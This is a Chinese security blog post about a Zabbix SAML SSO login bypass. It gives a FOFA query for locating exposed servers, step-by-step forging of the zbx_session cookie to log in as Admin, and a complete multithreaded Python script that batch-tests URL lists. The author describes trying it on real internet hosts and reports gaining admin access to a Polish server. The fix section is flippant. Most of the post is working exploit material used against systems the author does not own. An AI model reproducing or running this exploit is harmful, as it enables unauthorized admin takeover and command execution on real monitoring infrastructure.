前言:看了看最近的CVE,发现有zabbix的登陆绕过漏洞,于是FOFA找了几个测试了一下。。。
**0x01 漏洞描述
**
在启用 SAML SSO 身份验证(非默认)的情况下,因为存储在会话中的用户登录未经过验证,恶意行为者可以修改会话数据。未经身份验证的恶意攻击者可能会利用此问题来提升操作权限并获得对Zabbix前端的管理员访问权限。
攻击条件限制:
需要启用 SAML 身份验证,并且攻击者必须知道 Zabbix 用户的用户名(或使用默认禁用的访客帐户)。
但因Zabbix的Web前端自动配置了一个名为Admin的高权限用户,所以漏洞利用相对而言难度降低了。
**0x02 FOFA全球分布
**
关键词:title="Zabbix" && body="saml"
**0x03 漏洞利用
**
用GET请求获取目标的请求包set-cookie值
curl -ksSIL https://xxx/index.php
zbx_session=eyJzZXNzaW9uaWQiOiIyMWJjODhiNTM3N2UyMzA5NTljNjUxMzllNjE0MDMxNyIsInNpZ24iOiJWZ1RYbSswdE5UZTl5a1wvUGQ5S2huMmtcL2JldzZkR2IxZTJQZnNCWnhJdTVQVUtnMEZsRlArWmVQaXBrNzFPWWE5dnVtR1NYMGx6OXd5dko2a05NaXV3PT0ifQ%3D%3D
处理一下加密部分
eyJzZXNzaW9uaWQiOiIyMWJjODhiNTM3N2UyMzA5NTljNjUxMzllNjE0MDMxNyIsInNpZ24iOiJWZ1RYbSswdE5UZTl5a1wvUGQ5S2huMmtcL2JldzZkR2IxZTJQZnNCWnhJdTVQVUtnMEZsRlArWmVQaXBrNzFPWWE5dnVtR1NYMGx6OXd5dko2a05NaXV3PT0ifQ%3D%3D
decodeurl
eyJzZXNzaW9uaWQiOiIyMWJjODhiNTM3N2UyMzA5NTljNjUxMzllNjE0MDMxNyIsInNpZ24iOiJWZ1RYbSswdE5UZTl5a1wvUGQ5S2huMmtcL2JldzZkR2IxZTJQZnNCWnhJdTVQVUtnMEZsRlArWmVQaXBrNzFPWWE5dnVtR1NYMGx6OXd5dko2a05NaXV3PT0ifQ==
decodebase64
{"sessionid":"21bc88b5377e230959c65139e6140317","sign":"VgTXm+0tNTe9yk\/Pd9Khn2k\/bew6dGb1e2PfsBZxIu5PUKg0FlFP+ZePipk71OYa9vumGSX0lz9wyvJ6kNMiuw=="}
拼接json
{"saml_data":{"username_attribute":"Admin"},"sessionid":"21bc88b5377e230959c65139e6140317","sign":"VgTXm+0tNTe9yk\/Pd9Khn2k\/bew6dGb1e2PfsBZxIu5PUKg0FlFP+ZePipk71OYa9vumGSX0lz9wyvJ6kNMiuw=="}
encodebase64
eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiMjFiYzg4YjUzNzdlMjMwOTU5YzY1MTM5ZTYxNDAzMTciLCJzaWduIjoiVmdUWG0rMHROVGU5eWtcL1BkOUtobjJrXC9iZXc2ZEdiMWUyUGZzQlp4SXU1UFVLZzBGbEZQK1plUGlwazcxT1lhOXZ1bUdTWDBsejl3eXZKNmtOTWl1dz09In0=
在浏览器请求目标获取cookie进行替换
利用失败
PL国的利用成功,进入后台
进后台可以执行命令,但因脚本只是验证,未写入自动化执行命令回显验证。
**0x04 漏洞利用原理
**
GET请求生成set-cookie格式,解密生成的cookie,替换进Admin帐号,加密生成cookie,替换生成的Admin的cookie请求进入后台。
0x05 验证脚本
验证远离:通过返回状态码验证,成功率蛮高的
单个验证
批量验证
`#!/usr/bin/env python``# -*- encoding: utf8 -*-`` ``import re``import requests``import base64``import random``import urllib.parse``import argparse``import threading``import json``import urllib3``import queue``import sys``import json`` ``import string``from time import sleep`` ``urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)`` `` ``#pp = {"https":"http://127.0.0.1:8080","http":"https://127.0.0.1:8080"}``q_file = queue.Queue()``q_path = ["index.php"]``def genRandomString(slen=10):` `return ''.join(random.sample(string.ascii_letters, slen))`` `` ``def title():` `print("""` `Author:thRee`` """)` `print('''` `ST模式:python zabbix.py -f XXX.txt` `ST模式:python zabbix.py -u http://xxx.com` `''')`` ``def put_queue(file_apth, q):` `with open(file_apth, 'r', encoding='utf8') as f:` `while True:` `row = f.readline()` `if not row:` `return` `q.put_nowait(row)`` `` ``def get_queue(q):` `pass`` `` ``def requ(url): # 请求目标url` `for path in q_path:`` #random = genRandomString(slen=10)` `header = {` `"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 100.150; rv:95.0) Gecko/20100101 Firefox/950.0 - 2225-11-01",` `"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",` `"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",` `"Accept-Encoding": "gzip, deflate",` `"Content-Type": "application/x-www-form-urlencoded",` `}` `if url[:4] != 'http':` `uri = "http://" + url + "/" # 合成uri` `else:` `uri = url + "/" # 合成uri`` `` ` `try:` `uri_1 = uri + path` `req = requests.get(uri_1,headers=header,verify=False,timeout=100)` `#req = requests.get(uri_1,headers=header,verify=False,proxies=pp)` `cookie = req.headers.get("Set-Cookie")` `zbx_session = re.findall(r"zbx_session=(.*?);",cookie)` `url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8')` `b64decodedata = base64.b64decode(url_decode_data)` `decodetostr = str(b64decodedata, encoding='utf-8')` `tojson = json.loads(decodetostr)` `tmpojb = dict(saml_data=dict(username_attribute="Admin"), sessionid=tojson["sessionid"], sign=tojson["sign"])` `payloadJson = json.dumps(tmpojb)` `payload = urllib.parse.quote(base64.b64encode(payloadJson.encode()))` `header1 = {` `"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 100.150; rv:95.0) Gecko/20100101 Firefox/950.0 - 2225-11-01",` `"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",` `"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",` `"Accept-Encoding": "gzip, deflate",` `"Content-Type": "application/x-www-form-urlencoded",` `"Content-Type": "application/json",` `"Upgrade-Insecure-Requests": "1",` `"Cookie": payload`` }` `uri_2 = uri + "index_sso.php"` `#req1 = requests.post(uri_2,headers=header1, verify=False,timeout=11, allow_redirects=False,proxies=pp)` `req1 = requests.post(uri_2,headers=header1, timeout=100,verify=False, allow_redirects=False)` `if req1.status_code == 302:` `print("【+】漏洞存在:",uri,req1.status_code,payload)` `else:` `print("[-]漏洞不存在:" ,uri)` `except:` `None` `#print("-------------------------------------------------------------出错--------------------------------------------------------------------")`` ``def run(url=None):` `if not url:` `while not q_file.empty():` `try:` `requ(q_file.get_nowait().strip())` `except Exception as e:` `print("[-]ERROR:" + str(e))` `return` `else:` `requ(url)`` ``if __name__ == '__main__':` `title()` `parser = argparse.ArgumentParser(description="zabbix")` `parser.add_argument('-u', '--url', type=str, help="url")` `parser.add_argument('-f', '--file', type=str, help="url file path")` `parser.add_argument('-t', '--threading', type=int, help="THREADING", default=5)` `args = parser.parse_args()`` ` `if args.file:` `put_queue(args.file, q_file)` `th = args.threading` `ts = []` `for n in range(th):` `t = threading.Thread(target=run)` `t.start()` `ts.append(t)` `for t in ts:` `t.join()` `if args.url:` `run(url=args.url)`
**0x06 修复建议
**
关闭对外端口,反正中国就十几台很好修复
end
下期预告
看有没有新出来的洞
投稿方式
来人,关门放群!
金色钱江,讲述杭州IT精英的成长之路!
关注金色钱江,体验全能技术王者之路!